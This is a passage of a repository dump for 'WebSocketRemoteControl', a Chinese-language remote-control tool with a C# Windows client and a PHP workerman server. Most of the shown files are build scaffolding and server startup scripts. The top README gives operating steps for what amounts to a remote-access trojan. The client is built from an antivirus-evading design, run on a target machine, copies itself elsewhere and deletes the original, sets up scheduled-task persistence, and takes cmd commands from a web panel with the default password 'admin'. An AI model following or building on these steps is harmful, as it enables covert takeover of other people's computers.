├── Client ├── .vs │ └── websocket │ │ ├── v15 │ │ ├── Server │ │ │ └── sqlite3 │ │ │ │ ├── db.lock │ │ │ │ ├── storage.ide │ │ │ │ ├── storage.ide-shm │ │ │ │ └── storage.ide-wal │ │ └── .suo │ │ └── v16 │ │ └── .suo ├── websocket.v12.suo ├── websocket │ ├── FodyWeavers.xml │ ├── lib │ │ ├── websocket-sharp.dll │ │ ├── websocket-sharp.pdb │ │ ├── Interop.TaskScheduler.dll │ │ ├── ICSharpCode.SharpZipLib.dll │ │ └── ICSharpCode.SharpZipLib.pdb │ ├── App.config │ ├── BuissnesServiceImpl.cs │ ├── packages.config │ ├── Form1.cs │ ├── websocketForNet.csproj.user │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── app.manifest │ │ └── Resources.resx │ ├── Form1.Designer.cs │ ├── Base64Tools.cs │ ├── Example.cs │ ├── WebSocketBase.cs │ ├── websocketForNet.csproj │ ├── MyWindowsCmd.cs │ └── StartupWay.cs ├── packages │ ├── Fody.2.0.0 │ │ ├── Content │ │ │ └── FodyWeavers.xml │ │ ├── Fody.dll │ │ ├── Fody.pdb │ │ ├── .signature.p7s │ │ ├── FodyCommon.dll │ │ ├── FodyCommon.pdb │ │ ├── Mono.Cecil.dll │ │ ├── Fody.2.0.0.nupkg │ │ ├── FodyIsolated.dll │ │ ├── FodyIsolated.pdb │ │ ├── Mono.Cecil.Mdb.dll │ │ ├── Mono.Cecil.Pdb.dll │ │ ├── Mono.Cecil.Rocks.dll │ │ ├── Tools │ │ │ └── install.ps1 │ │ └── build │ │ │ ├── dotnet │ │ │ └── Fody.targets │ │ │ ├── netstandard1.4 │ │ │ └── Fody.targets │ │ │ └── portable-net+sl+win+wpa+wp │ │ │ └── Fody.targets │ └── Costura.Fody.1.6.2 │ │ ├── .signature.p7s │ │ ├── Costura.Fody.dll │ │ ├── Costura.Fody.pdb │ │ ├── Costura.Tasks.dll │ │ ├── Costura.Tasks.pdb │ │ ├── lib │ │ ├── dotnet │ │ │ ├── Costura.dll │ │ │ └── Costura.pdb │ │ └── portable-net+sl+win+wpa+wp │ │ │ ├── Costura.dll │ │ │ └── Costura.pdb │ │ ├── Costura.Fody.1.6.2.nupkg │ │ ├── build │ │ ├── dotnet │ │ │ └── Costura.Fody.targets │ │ └── portable-net+sl+win+wpa+wp │ │ │ └── Costura.Fody.targets │ │ └── tools │ │ ├── uninstall.ps1 │ │ └── install.ps1 ├── README.md └── websocket.sln ├── Server ├── .gitignore ├── Applications │ └── Chat │ │ ├── Web │ │ ├── swf │ │ │ └── WebSocketMain.swf │ │ ├── css │ │ │ └── cmd.css │ │ ├── js │ │ │ └── base64.js │ │ └── index.php │ │ ├── start_register.php │ │ ├── start_businessworker.php │ │ ├── start_gateway.php │ │ ├── start_web.php │ │ └── Events.php ├── .gitattributes ├── start_for_win.bat ├── composer.json ├── README.md ├── start.php └── MIT-LICENSE.txt └── README.md /Client/.vs/websocket/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Server/.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | .buildpath 3 | .project 4 | .settings 5 | vendor 6 | composer.lock 7 | -------------------------------------------------------------------------------- /Client/websocket.v12.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/websocket.v12.suo -------------------------------------------------------------------------------- /Client/websocket/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Client/.vs/websocket/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/.vs/websocket/v15/.suo -------------------------------------------------------------------------------- /Client/.vs/websocket/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/.vs/websocket/v16/.suo -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Content/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/Fody.dll -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/Fody.pdb -------------------------------------------------------------------------------- /Client/websocket/lib/websocket-sharp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/websocket/lib/websocket-sharp.dll -------------------------------------------------------------------------------- /Client/websocket/lib/websocket-sharp.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/websocket/lib/websocket-sharp.pdb -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/.signature.p7s -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/FodyCommon.dll -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/FodyCommon.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/FodyCommon.pdb -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/Mono.Cecil.dll -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Fody.2.0.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/Fody.2.0.0.nupkg -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/FodyIsolated.dll -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/FodyIsolated.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/FodyIsolated.pdb -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Mono.Cecil.Mdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/Mono.Cecil.Mdb.dll -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Fody.2.0.0/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /Client/websocket/lib/Interop.TaskScheduler.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/websocket/lib/Interop.TaskScheduler.dll -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/.signature.p7s -------------------------------------------------------------------------------- /Client/websocket/lib/ICSharpCode.SharpZipLib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/websocket/lib/ICSharpCode.SharpZipLib.dll -------------------------------------------------------------------------------- /Client/websocket/lib/ICSharpCode.SharpZipLib.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/websocket/lib/ICSharpCode.SharpZipLib.pdb -------------------------------------------------------------------------------- /Server/Applications/Chat/Web/swf/WebSocketMain.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Server/Applications/Chat/Web/swf/WebSocketMain.swf -------------------------------------------------------------------------------- /Client/.vs/websocket/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/.vs/websocket/v15/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/Costura.Fody.dll -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/Costura.Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/Costura.Fody.pdb -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/Costura.Tasks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/Costura.Tasks.dll -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb -------------------------------------------------------------------------------- /Client/.vs/websocket/v15/Server/sqlite3/storage.ide-shm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/.vs/websocket/v15/Server/sqlite3/storage.ide-shm -------------------------------------------------------------------------------- /Client/.vs/websocket/v15/Server/sqlite3/storage.ide-wal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/.vs/websocket/v15/Server/sqlite3/storage.ide-wal -------------------------------------------------------------------------------- /Server/.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | *.js linguist-language=PHP 3 | *.css linguist-language=PHP 4 | *.html linguist-language=PHP 5 | -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg -------------------------------------------------------------------------------- /Server/start_for_win.bat: -------------------------------------------------------------------------------- 1 | CHCP 65001 2 | php Applications\Chat\start_register.php Applications\Chat\start_web.php Applications\Chat\start_gateway.php Applications\Chat\start_businessworker.php 3 | pause 4 | -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrFooL137/WebSocketRemoteControl/HEAD/Client/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb -------------------------------------------------------------------------------- /Client/README.md: -------------------------------------------------------------------------------- 1 | WebSocketRemoteControl-Client 2 | ======= 3 | 基于WebSocket开发的远程控制管理软件客户端 4 | 5 | 配置 6 | ====== 7 | RootPath:客户端释放路径 8 | ServiceName:客户端名称 9 | startupCode:自启动方式 10 | 配置修改均位于文件[websocket\Example.cs] -------------------------------------------------------------------------------- /Client/packages/Fody.2.0.0/Tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | $item = $project.ProjectItems | where-object {$_.Name -eq "FodyWeavers.xml"} 3 | $item.Properties.Item("BuildAction").Value = [int]0 -------------------------------------------------------------------------------- /Client/websocket/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Client/websocket/BuissnesServiceImpl.cs: -------------------------------------------------------------------------------- 1 | namespace websocket 2 | { 3 | 4 | 5 | 6 | class BuissnesServiceImpl : WebSocketService 7 | { 8 | public void onReceive(string msg) 9 | { 10 | 11 | 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Client/websocket/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /Server/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "workerman/workerman-chat", 3 | "type" : "project", 4 | "keywords": ["chat"], 5 | "homepage": "http://www.workerman.net", 6 | "license" : "MIT", 7 | "require": { 8 | "workerman/gateway-worker" : ">=3.0.0", 9 | "workerman/workerman" : "~4.0.0" 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Client/websocket/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace websocket 11 | { 12 | public partial class Form1 : Form 13 | { 14 | public Form1() 15 | { 16 | InitializeComponent(); 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Client/websocket/websocketForNet.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | zh-CN 11 | false 12 | 13 | -------------------------------------------------------------------------------- /Server/README.md: -------------------------------------------------------------------------------- 1 | WebSocketRemoteControl-Server 2 | ======= 3 | 基于workerman的GatewayWorker框架开发的一款高性能支持分布式部署的远程控制系统控制端。 4 | 5 | GatewayWorker框架文档:http://www.workerman.net/gatewaydoc/ 6 | 7 | 配置 8 | ====== 9 | 默认端口:1234 可在此文件修改[Applications\Chat\start_web.php] 10 | 管理员密码:admin 可在此文件修改[Applications\Chat\Events.php] 11 | 12 | 下载安装 13 | ===== 14 | 1、git clone https://github.com/walkor/workerman-chat 15 | 16 | 2、composer install 17 | 18 | 启动停止(Linux系统) 19 | ===== 20 | 以debug方式启动 21 | ```php start.php start ``` 22 | 23 | 以daemon方式启动 24 | ```php start.php start -d ``` 25 | 26 | 启动(windows系统) 27 | ====== 28 | 双击start_for_win.bat 29 | 30 | 注意: 31 | windows系统下无法使用 stop reload status 等命令 32 | 如果无法打开页面请尝试关闭服务器防火墙 33 | 34 | 测试 35 | ======= 36 | 浏览器访问 http://服务器ip或域:1234,例如http://127.0.0.1:1234 -------------------------------------------------------------------------------- /Server/Applications/Chat/start_register.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | use \Workerman\Worker; 15 | use \GatewayWorker\Register; 16 | 17 | require_once __DIR__ . '/../../vendor/autoload.php'; 18 | 19 | // register 服务必须是text协议 20 | $register = new Register('text://0.0.0.0:1236'); 21 | 22 | // 如果不是在根目录启动,则运行runAll方法 23 | if(!defined('GLOBAL_START')) 24 | { 25 | Worker::runAll(); 26 | } 27 | 28 | -------------------------------------------------------------------------------- /Server/Applications/Chat/Web/css/cmd.css: -------------------------------------------------------------------------------- 1 | html,body{ 2 | height:100%; 3 | overflow:hidden; 4 | } 5 | body{ 6 | overflow-y:scroll; 7 | } 8 | #now { 9 | border: 1px solid; 10 | width: 100%; 11 | background-color: black; 12 | color: white; 13 | -webkit-appearance: none; 14 | -moz-appearance: none; 15 | outline: 0; 16 | font-size: 14px; 17 | } 18 | body{ 19 | background-color: black; 20 | color:white; 21 | margin:0; 22 | } 23 | p{ 24 | color:white; 25 | } 26 | div{ 27 | background-color: black; 28 | } 29 | a:link{ 30 | text-decoration:none 31 | } 32 | a:hover{ 33 | text-decoration:underline; 34 | 35 | } 36 | a:active{ 37 | text-decoration:underline; 38 | } 39 | #area{ 40 | margin:5px; 41 | } 42 | .user_kehu{ 43 | margin-bottom:8;float:left;margin-right: 50px; 44 | } 45 | .top{ 46 | margin-left: 5px;width:98%;height:30px;position:fixed;top:0;left:0; 47 | } 48 | .cmd{ 49 | margin-top: 30px; 50 | } -------------------------------------------------------------------------------- /Server/start.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | use \Workerman\Worker; 15 | use \GatewayWorker\BusinessWorker; 16 | use \Workerman\Autoloader; 17 | 18 | require_once __DIR__ . '/../../vendor/autoload.php'; 19 | 20 | // bussinessWorker 进程 21 | $worker = new BusinessWorker(); 22 | // worker名称 23 | $worker->name = 'ChatBusinessWorker'; 24 | // bussinessWorker进程数量 25 | $worker->count = 4; 26 | // 服务注册地址 27 | $worker->registerAddress = '127.0.0.1:1236'; 28 | 29 | // 如果不是在根目录启动,则运行runAll方法 30 | if(!defined('GLOBAL_START')) 31 | { 32 | Worker::runAll(); 33 | } 34 | 35 | -------------------------------------------------------------------------------- /Client/websocket.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.30501.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "websocketForNet", "websocket\websocketForNet.csproj", "{542A1B4C-5693-4DBA-BC47-779880130ADA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {542A1B4C-5693-4DBA-BC47-779880130ADA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {542A1B4C-5693-4DBA-BC47-779880130ADA}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {542A1B4C-5693-4DBA-BC47-779880130ADA}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {542A1B4C-5693-4DBA-BC47-779880130ADA}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 基于WebSocket的远程控制管理软件 2 | 3 | >源码及思路并非原创,属于踩在大佬肩膀二次开发之作,仅限技术交流使用。 4 | 5 | **前情提要** 6 | 7 | 在t00ls看到@xiaoniu大佬发布的[《web远控 C#客户端 过全球杀毒。》](https://www.t00ls.net/thread-56617-1-1.html)[《WEB远控,基于workerman多客户端即时传输》](https://www.t00ls.net/thread-56422-1-1.html),觉得这是一个不错的思路,可以为自己所用,于是乎便有了这篇帖子。由于只是写为己用,所以直接之前的源码上做的改动及添加,当然整个项目如果我有空还是打算重构的,以提高自身代码水平,如有不恰当处请与我联系。 8 | 开源地址[WebSocketRemoteControl](https://github.com/MrFooL137/WebSocketRemoteControl),有任何意见或者建议都可以提出,有时间我就改改。 9 | 10 | 11 | ## 服务端的使用及功能演示 12 | 13 | 以Windows示例,安装php并配置好环境变量,运行服务端目录下**start_for_win.bat**,Linux运行命令即为bat文件中所运行的命令。 14 | 15 | 使用浏览器访问地址http://127.0.0.1:1234 ,输入管理员密码admin,进入web服务端。**默认端口:1234 可在此文件中修改[Applications\Chat\start_web.php] 管理员密码:admin 可在此文件中修改[Applications\Chat\Events.php]** 16 | 17 | 当客户端上线时,在下拉列表中选择要操控的客户端,并在下方文本框中输入要执行的cmd命令,按回车执行。 18 | 19 | 20 | ## 客户端的生成及功能演示 21 | 22 | 使用Visual Studio打开websocket.sln,找到Example.cs,修改RootPath、ServiceName、startupCode、ip这四项参数,然后生成客户端,会在**[websocket\bin\Debug]**目录下生成WSS.exe,将此程序在目标机器中打开,程序将释放在指定位置并删除自身尝试自启动(可能会被360拦截,虚拟机测试添加计划任务未拦截,本机测试前几次未拦截之后均拦截),随后客户端上线。 23 | -------------------------------------------------------------------------------- /Client/websocket/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // 有关程序集的常规信息通过以下 5 | // 特性集控制。更改这些特性值可修改 6 | // 与程序集关联的信息。 7 | [assembly: AssemblyTitle("WebSocketService")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("Microsoft")] 11 | [assembly: AssemblyProduct("")] 12 | [assembly: AssemblyCopyright("Copyright © Microsoft 2020")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // 将 ComVisible 设置为 false 使此程序集中的类型 17 | // 对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型, 18 | // 则将该类型上的 ComVisible 特性设置为 true。 19 | [assembly: ComVisible(false)] 20 | 21 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 22 | [assembly: Guid("528c18bf-7e49-4945-b557-34340e8044ea")] 23 | 24 | // 程序集的版本信息由下面四个值组成: 25 | // 26 | // 主版本 27 | // 次版本 28 | // 生成号 29 | // 修订号 30 | // 31 | // 可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值, 32 | // 方法是按如下所示使用“*”: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.1.0.0")] 35 | [assembly: AssemblyFileVersion("1.1.0.0")] 36 | -------------------------------------------------------------------------------- /Server/MIT-LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright (c) 2009-2015 walkor and contributors (see https://github.com/walkor/workerman/contributors) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/build/dotnet/Costura.Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\..\ 6 | 7 | 8 | 11 | 12 | 13 | 14 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/build/portable-net+sl+win+wpa+wp/Costura.Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\..\ 6 | 7 | 8 | 11 | 12 | 13 | 14 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /Client/websocket/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace websocket 2 | { 3 | partial class Form1 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.components = new System.ComponentModel.Container(); 32 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 33 | this.ClientSize = new System.Drawing.Size(800, 450); 34 | this.Text = "Form1"; 35 | } 36 | 37 | #endregion 38 | } 39 | } -------------------------------------------------------------------------------- /Client/packages/Costura.Fody.1.6.2/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | 4 | function Update-FodyConfig($addinName, $project) 5 | { 6 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml") 7 | 8 | if (!(Test-Path ($fodyWeaversPath))) 9 | { 10 | return 11 | } 12 | 13 | Write-Host "Caching variables for possible update" 14 | $env:FodyLastProjectPath = $project.FullName 15 | $env:FodyLastWeaverName = $addinName 16 | $env:FodyLastXmlContents = [IO.File]::ReadAllText($fodyWeaversPath) 17 | 18 | 19 | $xml = [xml](get-content $fodyWeaversPath) 20 | 21 | $weavers = $xml["Weavers"] 22 | $node = $weavers.SelectSingleNode($addinName) 23 | 24 | if ($node) 25 | { 26 | Write-Host "Removing node from FodyWeavers.xml" 27 | $weavers.RemoveChild($node) 28 | } 29 | 30 | $xml.Save($fodyWeaversPath) 31 | } 32 | 33 | 34 | function UnlockWeaversXml($project) 35 | { 36 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml"); 37 | if ($fodyWeaversProjectItem) 38 | { 39 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}") 40 | $fodyWeaversProjectItem.Save() 41 | $fodyWeaversProjectItem.Document.Close() 42 | } 43 | } 44 | 45 | UnlockWeaversXml($project) 46 | 47 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project -------------------------------------------------------------------------------- /Server/Applications/Chat/start_gateway.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | use \Workerman\Worker; 15 | use \GatewayWorker\Gateway; 16 | use \Workerman\Autoloader; 17 | 18 | require_once __DIR__ . '/../../vendor/autoload.php'; 19 | 20 | // gateway 进程 21 | $gateway = new Gateway("Websocket://0.0.0.0:7272"); 22 | // 设置名称,方便status时查看 23 | $gateway->name = 'ChatGateway'; 24 | // 设置进程数,gateway进程数建议与cpu核数相同 25 | $gateway->count = 4; 26 | // 分布式部署时请设置成内网ip(非127.0.0.1) 27 | $gateway->lanIp = '127.0.0.1'; 28 | // 内部通讯起始端口。假如$gateway->count=4,起始端口为2300 29 | // 则一般会使用2300 2301 2302 2303 4个端口作为内部通讯端口 30 | $gateway->startPort = 2300; 31 | // 心跳间隔 32 | $gateway->pingInterval = 10; 33 | // 心跳数据 34 | $gateway->pingData = '{"type":"ping"}'; 35 | // 服务注册地址 36 | $gateway->registerAddress = '127.0.0.1:1236'; 37 | 38 | $gateway->pingNotResponseLimit = 1;//10秒内没心跳断开连接 39 | /* 40 | // 当客户端连接上来时,设置连接的onWebSocketConnect,即在websocket握手时的回调 41 | $gateway->onConnect = function($connection) 42 | { 43 | $connection->onWebSocketConnect = function($connection , $http_header) 44 | { 45 | // 可以在这里判断连接来源是否合法,不合法就关掉连接 46 | // $_SERVER['HTTP_ORIGIN']标识来自哪个站点的页面发起的websocket链接 47 | if($_SERVER['HTTP_ORIGIN'] != 'http://chat.workerman.net') 48 | { 49 | $connection->close(); 50 | } 51 | // onWebSocketConnect 里面$_GET $_SERVER是可用的 52 | // var_dump($_GET, $_SERVER); 53 | }; 54 | }; 55 | */ 56 | 57 | // 如果不是在根目录启动,则运行runAll方法 58 | if(!defined('GLOBAL_START')) 59 | { 60 | Worker::runAll(); 61 | } 62 | 63 | -------------------------------------------------------------------------------- /Server/Applications/Chat/start_web.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | use Workerman\Worker; 